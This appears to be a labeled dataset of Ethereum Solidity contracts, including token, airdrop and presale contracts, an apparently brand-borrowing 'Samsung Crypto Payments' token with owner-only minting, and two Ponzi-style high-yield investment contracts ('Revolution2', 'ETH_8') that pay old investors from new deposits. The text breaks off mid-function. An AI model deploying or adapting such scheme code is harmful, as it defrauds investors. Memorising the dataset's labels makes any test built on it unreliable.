require(bytesEqual('transfer',bytes(methodName)));
bytes32 sigHash = getLavaTypedDataHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce);
require(_tokenApprovalWithSignature(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce,sigHash,signature));
require(transferFrom( from, to, tokens));
return true;
}
function approveAndCallWithSignature( string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes memory signature ) public returns (bool success) {
require(!bytesEqual('approve',bytes(methodName)) && !bytesEqual('transfer',bytes(methodName)));
bytes32 sigHash = getLavaTypedDataHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce);
require(_tokenApprovalWithSignature(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce,sigHash,signature));
_sendApproveAndCall(from,to,tokens,bytes(methodName));
return true;
}
function _sendApproveAndCall(address from, address to, uint tokens, bytes memory methodName) internal
{
ApproveAndCallFallBack(to).receiveApproval(from, tokens, address(this), bytes(methodName));
}
function burnSignature( string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes memory signature) public returns (bool success)
{
bytes32 sigHash = getLavaTypedDataHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce);
address recoveredSignatureSigner = recover(sigHash,signature);
require(recoveredSignatureSigner == from);
require(from == msg.sender);
uint burnedSignature = burnedSignatures[sigHash];
burnedSignatures[sigHash] = 0x2;
require(burnedSignature == 0x0);
return true;
}
function signatureHashBurnStatus(bytes32 digest) public view returns (uint)
{
return (burnedSignatures[digest]);
}
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public returns (bool success) {
require(token == masterToken);
require(mutateTokens(from, tokens));
return true;
}
function addressContainsContract(address _to) view internal returns (bool)
{
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
return (codeLength>0);
}
function bytesEqual(bytes memory b1,bytes memory b2) pure internal returns (bool)
{
if(b1.length != b2.length) return false;
for (uint i=0; i<b1.length; i++) {
if(b1[i] != b2[i]) return false;
}
return true;
}
} | 0 | 455 |
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
require(b > 0);
uint c = a / b;
require(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract Ownable {
address public owner;
function Ownable() public{
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public{
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function balanceOf(address _owner) external view returns (uint256 balance);
}
contract TokenAirdroperFor5GT is Ownable{
using SafeMath for uint;
address public tokenAddress = 0xf82c9bbcc3b1407b494c8529256c2a8ea5dd8eb6;
uint256 public limitPayValue = 0.1 ether;
uint256 public airdropRate = 555;
bool public airdropPaused = false;
constructor(){}
function () payable public{
require(airdropPaused == false);
require(msg.value == limitPayValue);
require(owner.send(msg.value));
require(IERC20(tokenAddress).transfer(msg.sender,airdropRate.mul(1 ether)));
}
function changeAirdropStatus(bool _airdropPaused) public onlyOwner{
airdropPaused = _airdropPaused;
}
function withdraw(address _tokenAddress) public onlyOwner{
if(_tokenAddress == address(0)){
require(owner.send(address(this).balance));
return;
}
IERC20 erc20 = IERC20(tokenAddress);
uint256 balance = erc20.balanceOf(this);
require(erc20.transfer(owner,balance));
}
} | 1 | 5,158 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SamsungCryptoPayments is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "Samsung Crypto Payments";
string public constant symbol = "SCP";
uint public constant decimals = 1;
uint public deadline = now + 150 * 1 days;
uint public round2 = now + 50 * 1 days;
uint public round1 = now + 100 * 1 days;
uint256 public totalSupply = 2000000000e1;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 100;
uint256 public tokensPerEth = 10000000e1;
uint public target0drop = 20000;
uint public progress0drop = 0;
address multisig = 0xf228A325c92d4002A159eb52Bf6A9C509C039CCA;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 300000000e1;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 10;
uint256 bonusCond2 = 1 ether;
uint256 bonusCond3 = 5 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 1 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 2 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 3 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 2 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 3 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 300000e1;
if (Claimed[investor] == false && progress0drop <= target0drop ) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require( msg.value >= requestMinimum );
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if( now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require( msg.value >= requestMinimum );
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 1 | 3,709 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract PreSale is Ownable {
uint256 constant public INCREASE_RATE = 700000000000000;
uint256 constant public START_TIME = 1520972971;
uint256 constant public END_TIME = 1552508971;
uint256 public landsSold;
mapping (address => uint32) public lands;
bool private paused = false;
function PreSale() payable public {
}
event landsPurchased(address indexed purchaser, uint256 value, uint32 quantity);
event landsRedeemed(address indexed sender, uint256 lands);
function bulkPurchageLand() payable public {
require(now > START_TIME);
require(now < END_TIME);
require(paused == false);
require(msg.value >= (landPriceCurrent() * 5));
lands[msg.sender] = lands[msg.sender] + 5;
landsSold = landsSold + 5;
landsPurchased(msg.sender, msg.value, 5);
}
function purchaseLand() payable public {
require(now > START_TIME);
require(now < END_TIME);
require(paused == false);
require(msg.value >= landPriceCurrent());
lands[msg.sender] = lands[msg.sender] + 1;
landsSold = landsSold + 1;
landsPurchased(msg.sender, msg.value, 1);
}
function redeemLand(address targetUser) public onlyOwner returns(uint256) {
require(paused == false);
require(lands[targetUser] > 0);
landsRedeemed(targetUser, lands[targetUser]);
uint256 userlands = lands[targetUser];
lands[targetUser] = 0;
return userlands;
}
function landPriceCurrent() view public returns(uint256) {
return (landsSold + 1) * INCREASE_RATE;
}
function landPricePrevious() view public returns(uint256) {
return (landsSold) * INCREASE_RATE;
}
function withdrawal() onlyOwner public {
owner.transfer(this.balance);
}
function pause() onlyOwner public {
paused = true;
}
function resume() onlyOwner public {
paused = false;
}
function isPaused () onlyOwner public view returns(bool) {
return paused;
}
} | 1 | 5,136 |
pragma solidity 0.4.25;
library Math {
function min(uint a, uint b) internal pure returns(uint) {
if (a > b) {
return b;
}
return a;
}
}
library Zero {
function requireNotZero(address addr) internal pure {
require(addr != address(0), "require not zero address");
}
function requireNotZero(uint val) internal pure {
require(val != 0, "require not zero value");
}
function notZero(address addr) internal pure returns(bool) {
return !(addr == address(0));
}
function isZero(address addr) internal pure returns(bool) {
return addr == address(0);
}
function isZero(uint a) internal pure returns(bool) {
return a == 0;
}
function notZero(uint a) internal pure returns(bool) {
return a != 0;
}
}
library Percent {
struct percent {
uint num;
uint den;
}
function mul(percent storage p, uint a) internal view returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function div(percent storage p, uint a) internal view returns (uint) {
return a/p.num*p.den;
}
function sub(percent storage p, uint a) internal view returns (uint) {
uint b = mul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}
function add(percent storage p, uint a) internal view returns (uint) {
return a + mul(p, a);
}
function toMemory(percent storage p) internal view returns (Percent.percent memory) {
return Percent.percent(p.num, p.den);
}
function mmul(percent memory p, uint a) internal pure returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function mdiv(percent memory p, uint a) internal pure returns (uint) {
return a/p.num*p.den;
}
function msub(percent memory p, uint a) internal pure returns (uint) {
uint b = mmul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}
function madd(percent memory p, uint a) internal pure returns (uint) {
return a + mmul(p, a);
}
}
library Address {
function toAddress(bytes source) internal pure returns(address addr) {
assembly { addr := mload(add(source,0x14)) }
return addr;
}
function isNotContract(address addr) internal view returns(bool) {
uint length;
assembly { length := extcodesize(addr) }
return length == 0;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Accessibility {
address private owner;
modifier onlyOwner() {
require(msg.sender == owner, "access denied");
_;
}
constructor() public {
owner = msg.sender;
}
function disown() internal {
delete owner;
}
}
contract Rev1Storage {
function investorShortInfo(address addr) public view returns(uint value, uint refBonus);
}
contract Rev2Storage {
function investorInfo(address addr) public view returns(uint investment, uint paymentTime);
}
library PrivateEntrance {
using PrivateEntrance for privateEntrance;
using Math for uint;
struct privateEntrance {
Rev1Storage rev1Storage;
Rev2Storage rev2Storage;
uint investorMaxInvestment;
uint endTimestamp;
mapping(address=>bool) hasAccess;
}
function isActive(privateEntrance storage pe) internal view returns(bool) {
return pe.endTimestamp > now;
}
function maxInvestmentFor(privateEntrance storage pe, address investorAddr) internal view returns(uint) {
if (!pe.hasAccess[investorAddr]) {
return 0;
}
(uint maxInvestment, ) = pe.rev1Storage.investorShortInfo(investorAddr);
if (maxInvestment == 0) {
return 0;
}
maxInvestment = Math.min(maxInvestment, pe.investorMaxInvestment);
(uint currInvestment, ) = pe.rev2Storage.investorInfo(investorAddr);
if (currInvestment >= maxInvestment) {
return 0;
}
return maxInvestment-currInvestment;
}
function provideAccessFor(privateEntrance storage pe, address[] addrs) internal {
for (uint16 i; i < addrs.length; i++) {
pe.hasAccess[addrs[i]] = true;
}
}
}
contract InvestorsStorage is Accessibility {
struct Investor {
uint investment;
uint paymentTime;
}
uint public size;
mapping (address => Investor) private investors;
function isInvestor(address addr) public view returns (bool) {
return investors[addr].investment > 0;
}
function investorInfo(address addr) public view returns(uint investment, uint paymentTime) {
investment = investors[addr].investment;
paymentTime = investors[addr].paymentTime;
}
function newInvestor(address addr, uint investment, uint paymentTime) public onlyOwner returns (bool) {
Investor storage inv = investors[addr];
if (inv.investment != 0 || investment == 0) {
return false;
}
inv.investment = investment;
inv.paymentTime = paymentTime;
size++;
return true;
}
function addInvestment(address addr, uint investment) public onlyOwner returns (bool) {
if (investors[addr].investment == 0) {
return false;
}
investors[addr].investment += investment;
return true;
}
function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) {
if (investors[addr].investment == 0) {
return false;
}
investors[addr].paymentTime = paymentTime;
return true;
}
}
library RapidGrowthProtection {
using RapidGrowthProtection for rapidGrowthProtection;
struct rapidGrowthProtection {
uint startTimestamp;
uint maxDailyTotalInvestment;
uint8 activityDays;
mapping(uint8 => uint) dailyTotalInvestment;
}
function maxInvestmentAtNow(rapidGrowthProtection storage rgp) internal view returns(uint) {
uint day = rgp.currDay();
if (day == 0 || day > rgp.activityDays) {
return 0;
}
if (rgp.dailyTotalInvestment[uint8(day)] >= rgp.maxDailyTotalInvestment) {
return 0;
}
return rgp.maxDailyTotalInvestment - rgp.dailyTotalInvestment[uint8(day)];
}
function isActive(rapidGrowthProtection storage rgp) internal view returns(bool) {
uint day = rgp.currDay();
return day != 0 && day <= rgp.activityDays;
}
function saveInvestment(rapidGrowthProtection storage rgp, uint investment) internal returns(bool) {
uint day = rgp.currDay();
if (day == 0 || day > rgp.activityDays) {
return false;
}
if (rgp.dailyTotalInvestment[uint8(day)] + investment > rgp.maxDailyTotalInvestment) {
return false;
}
rgp.dailyTotalInvestment[uint8(day)] += investment;
return true;
}
function startAt(rapidGrowthProtection storage rgp, uint timestamp) internal {
rgp.startTimestamp = timestamp;
for (uint8 i = 1; i <= rgp.activityDays; i++) {
if (rgp.dailyTotalInvestment[i] != 0) {
delete rgp.dailyTotalInvestment[i];
}
}
}
function currDay(rapidGrowthProtection storage rgp) internal view returns(uint day) {
if (rgp.startTimestamp > now) {
return 0;
}
day = (now - rgp.startTimestamp) / 24 hours + 1;
}
}
contract Revolution2 is Accessibility {
using RapidGrowthProtection for RapidGrowthProtection.rapidGrowthProtection;
using PrivateEntrance for PrivateEntrance.privateEntrance;
using Percent for Percent.percent;
using SafeMath for uint;
using Math for uint;
using Address for *;
using Zero for *;
RapidGrowthProtection.rapidGrowthProtection private m_rgp;
PrivateEntrance.privateEntrance private m_privEnter;
mapping(address => bool) private m_referrals;
InvestorsStorage private m_investors;
uint public constant minInvesment = 10 finney;
uint public constant maxBalance = 333e5 ether;
address public advertisingAddress;
address public adminsAddress;
uint public investmentsNumber;
uint public waveStartup;
Percent.percent private m_1_percent = Percent.percent(1, 100);
Percent.percent private m_2_percent = Percent.percent(2, 100);
Percent.percent private m_3_33_percent = Percent.percent(333, 10000);
Percent.percent private m_adminsPercent = Percent.percent(3, 100);
Percent.percent private m_advertisingPercent = Percent.percent(120, 1000);
event LogPEInit(uint when, address rev1Storage, address rev2Storage, uint investorMaxInvestment, uint endTimestamp);
event LogSendExcessOfEther(address indexed addr, uint when, uint value, uint investment, uint excess);
event LogNewReferral(address indexed addr, address indexed referrerAddr, uint when, uint refBonus);
event LogRGPInit(uint when, uint startTimestamp, uint maxDailyTotalInvestment, uint activityDays);
event LogRGPInvestment(address indexed addr, uint when, uint investment, uint indexed day);
event LogNewInvesment(address indexed addr, uint when, uint investment, uint value);
event LogAutomaticReinvest(address indexed addr, uint when, uint investment);
event LogPayDividends(address indexed addr, uint when, uint dividends);
event LogNewInvestor(address indexed addr, uint when);
event LogBalanceChanged(uint when, uint balance);
event LogNextWave(uint when);
event LogDisown(uint when);
modifier balanceChanged {
_;
emit LogBalanceChanged(now, address(this).balance);
}
modifier notFromContract() {
require(msg.sender.isNotContract(), "only externally accounts");
_;
}
constructor() public {
adminsAddress = msg.sender;
advertisingAddress = msg.sender;
nextWave();
}
function() public payable {
if (msg.value.isZero()) {
getMyDividends();
return;
}
doInvest(msg.data.toAddress());
}
function doDisown() public onlyOwner {
disown();
emit LogDisown(now);
}
function init(address rev1StorageAddr, uint timestamp) public onlyOwner {
m_rgp.startTimestamp = timestamp + 1;
m_rgp.maxDailyTotalInvestment = 500 ether;
m_rgp.activityDays = 21;
emit LogRGPInit(
now,
m_rgp.startTimestamp,
m_rgp.maxDailyTotalInvestment,
m_rgp.activityDays
);
m_privEnter.rev1Storage = Rev1Storage(rev1StorageAddr);
m_privEnter.rev2Storage = Rev2Storage(address(m_investors));
m_privEnter.investorMaxInvestment = 50 ether;
m_privEnter.endTimestamp = timestamp;
emit LogPEInit(
now,
address(m_privEnter.rev1Storage),
address(m_privEnter.rev2Storage),
m_privEnter.investorMaxInvestment,
m_privEnter.endTimestamp
);
}
function setAdvertisingAddress(address addr) public onlyOwner {
addr.requireNotZero();
advertisingAddress = addr;
}
function setAdminsAddress(address addr) public onlyOwner {
addr.requireNotZero();
adminsAddress = addr;
}
function privateEntranceProvideAccessFor(address[] addrs) public onlyOwner {
m_privEnter.provideAccessFor(addrs);
}
function rapidGrowthProtectionmMaxInvestmentAtNow() public view returns(uint investment) {
investment = m_rgp.maxInvestmentAtNow();
}
function investorsNumber() public view returns(uint) {
return m_investors.size();
}
function balanceETH() public view returns(uint) {
return address(this).balance;
}
function percent1() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_1_percent.num, m_1_percent.den);
}
function percent2() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_2_percent.num, m_2_percent.den);
}
function percent3_33() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_3_33_percent.num, m_3_33_percent.den);
}
function advertisingPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_advertisingPercent.num, m_advertisingPercent.den);
}
function adminsPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_adminsPercent.num, m_adminsPercent.den);
}
function investorInfo(address investorAddr) public view returns(uint investment, uint paymentTime, bool isReferral) {
(investment, paymentTime) = m_investors.investorInfo(investorAddr);
isReferral = m_referrals[investorAddr];
}
function investorDividendsAtNow(address investorAddr) public view returns(uint dividends) {
dividends = calcDividends(investorAddr);
}
function dailyPercentAtNow() public view returns(uint numerator, uint denominator) {
Percent.percent memory p = dailyPercent();
(numerator, denominator) = (p.num, p.den);
}
function refBonusPercentAtNow() public view returns(uint numerator, uint denominator) {
Percent.percent memory p = refBonusPercent();
(numerator, denominator) = (p.num, p.den);
}
function getMyDividends() public notFromContract balanceChanged {
uint dividends = calcDividends(msg.sender);
require (dividends.notZero(), "cannot to pay zero dividends");
assert(m_investors.setPaymentTime(msg.sender, now));
if (address(this).balance <= dividends) {
nextWave();
dividends = address(this).balance;
}
msg.sender.transfer(dividends);
emit LogPayDividends(msg.sender, now, dividends);
}
function doInvest(address referrerAddr) public payable notFromContract balanceChanged {
uint investment = msg.value;
uint receivedEther = msg.value;
require(investment >= minInvesment, "investment must be >= minInvesment");
require(address(this).balance <= maxBalance, "the contract eth balance limit");
if (m_rgp.isActive()) {
uint rpgMaxInvest = m_rgp.maxInvestmentAtNow();
rpgMaxInvest.requireNotZero();
investment = Math.min(investment, rpgMaxInvest);
assert(m_rgp.saveInvestment(investment));
emit LogRGPInvestment(msg.sender, now, investment, m_rgp.currDay());
} else if (m_privEnter.isActive()) {
uint peMaxInvest = m_privEnter.maxInvestmentFor(msg.sender);
peMaxInvest.requireNotZero();
investment = Math.min(investment, peMaxInvest);
}
if (receivedEther > investment) {
uint excess = receivedEther - investment;
msg.sender.transfer(excess);
receivedEther = investment;
emit LogSendExcessOfEther(msg.sender, now, msg.value, investment, excess);
}
advertisingAddress.transfer(m_advertisingPercent.mul(receivedEther));
adminsAddress.transfer(m_adminsPercent.mul(receivedEther));
bool senderIsInvestor = m_investors.isInvestor(msg.sender);
if (referrerAddr.notZero() && !senderIsInvestor && !m_referrals[msg.sender] &&
referrerAddr != msg.sender && m_investors.isInvestor(referrerAddr)) {
m_referrals[msg.sender] = true;
uint refBonus = refBonusPercent().mmul(investment);
assert(m_investors.addInvestment(referrerAddr, refBonus));
investment += refBonus;
emit LogNewReferral(msg.sender, referrerAddr, now, refBonus);
}
uint dividends = calcDividends(msg.sender);
if (senderIsInvestor && dividends.notZero()) {
investment += dividends;
emit LogAutomaticReinvest(msg.sender, now, dividends);
}
if (senderIsInvestor) {
assert(m_investors.addInvestment(msg.sender, investment));
assert(m_investors.setPaymentTime(msg.sender, now));
} else {
assert(m_investors.newInvestor(msg.sender, investment, now));
emit LogNewInvestor(msg.sender, now);
}
investmentsNumber++;
emit LogNewInvesment(msg.sender, now, investment, receivedEther);
}
function getMemInvestor(address investorAddr) internal view returns(InvestorsStorage.Investor memory) {
(uint investment, uint paymentTime) = m_investors.investorInfo(investorAddr);
return InvestorsStorage.Investor(investment, paymentTime);
}
function calcDividends(address investorAddr) internal view returns(uint dividends) {
InvestorsStorage.Investor memory investor = getMemInvestor(investorAddr);
if (investor.investment.isZero() || now.sub(investor.paymentTime) < 10 minutes) {
return 0;
}
Percent.percent memory p = dailyPercent();
dividends = (now.sub(investor.paymentTime) / 10 minutes) * p.mmul(investor.investment) / 144;
}
function dailyPercent() internal view returns(Percent.percent memory p) {
uint balance = address(this).balance;
if (balance < 1000 ether) {
p = m_3_33_percent.toMemory();
} else if ( 1000 ether <= balance && balance <= 33333 ether) {
p = m_2_percent.toMemory();
} else {
p = m_1_percent.toMemory();
}
}
function refBonusPercent() internal view returns(Percent.percent memory p) {
uint balance = address(this).balance;
if (balance < 10000 ether) {
p = m_3_33_percent.toMemory();
} else if ( 10000 ether <= balance && balance <= 100000 ether) {
p = m_2_percent.toMemory();
} else {
p = m_1_percent.toMemory();
}
}
function nextWave() private {
m_investors = new InvestorsStorage();
investmentsNumber = 0;
waveStartup = now;
m_rgp.startAt(now);
emit LogRGPInit(now , m_rgp.startTimestamp, m_rgp.maxDailyTotalInvestment, m_rgp.activityDays);
emit LogNextWave(now);
}
} | 1 | 4,849 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Proxy {
using SafeMath for uint256;
uint256 public contribution = 0;
ETH_8 public eth_8;
constructor() public {
eth_8 = ETH_8(msg.sender);
}
function() public payable {
if(msg.value == 0) {
eth_8.withdrawDividends(msg.sender);
return;
}
address newReferrer = _bytesToAddress(msg.data);
contribution = contribution.add(msg.value);
address(eth_8).transfer(msg.value);
eth_8.doInvest(msg.sender, msg.value, newReferrer);
}
function _bytesToAddress(bytes data) private pure returns(address addr) {
assembly {
addr := mload(add(data, 20))
}
}
}
contract ETH_8 {
using SafeMath for uint256;
uint256 constant public ONE_HUNDRED_PERCENTS = 10000;
uint256[] public DAILY_INTEREST = [111, 133, 222, 333, 444];
uint256 public MARKETING_AND_TEAM_FEE = 1000;
uint256 public referralPercents = 1000;
uint256 constant public MAX_DIVIDEND_RATE = 25000;
uint256 constant public MINIMUM_DEPOSIT = 100 finney;
uint256 public wave = 0;
uint256 public totalInvest = 0;
uint256 public totalDividend = 0;
mapping(address => bool) public isProxy;
struct Deposit {
uint256 amount;
uint256 interest;
uint256 withdrawedRate;
}
struct User {
address referrer;
uint256 referralAmount;
uint256 firstTime;
uint256 lastPayment;
Deposit[] deposits;
}
address public marketingAndTechnicalSupport = 0xC93C7F3Ac689B822C3e9d09b9cA8934e54cf1D70;
address public owner = 0xbBdE48b0c31dA0DD601DA38F31dcf92b04f42588;
mapping(uint256 => mapping(address => User)) public users;
event InvestorAdded(address indexed investor);
event ReferrerAdded(address indexed investor, address indexed referrer);
event DepositAdded(address indexed investor, uint256 indexed depositsCount, uint256 amount);
event UserDividendPayed(address indexed investor, uint256 dividend);
event DepositDividendPayed(address indexed investor, uint256 indexed index, uint256 deposit, uint256 totalPayed, uint256 dividend);
event FeePayed(address indexed investor, uint256 amount);
event BalanceChanged(uint256 balance);
event NewWave();
function() public payable {
require(isProxy[msg.sender]);
}
function withdrawDividends(address from) public {
require(isProxy[msg.sender]);
uint256 dividendsSum = getDividends(from);
require(dividendsSum > 0);
if (address(this).balance <= dividendsSum) {
wave = wave.add(1);
totalInvest = 0;
dividendsSum = address(this).balance;
emit NewWave();
}
from.transfer(dividendsSum);
emit UserDividendPayed(from, dividendsSum);
emit BalanceChanged(address(this).balance);
}
function getDividends(address wallet) internal returns(uint256 sum) {
User storage user = users[wave][wallet];
for (uint i = 0; i < user.deposits.length; i++) {
uint256 withdrawRate = dividendRate(wallet, i);
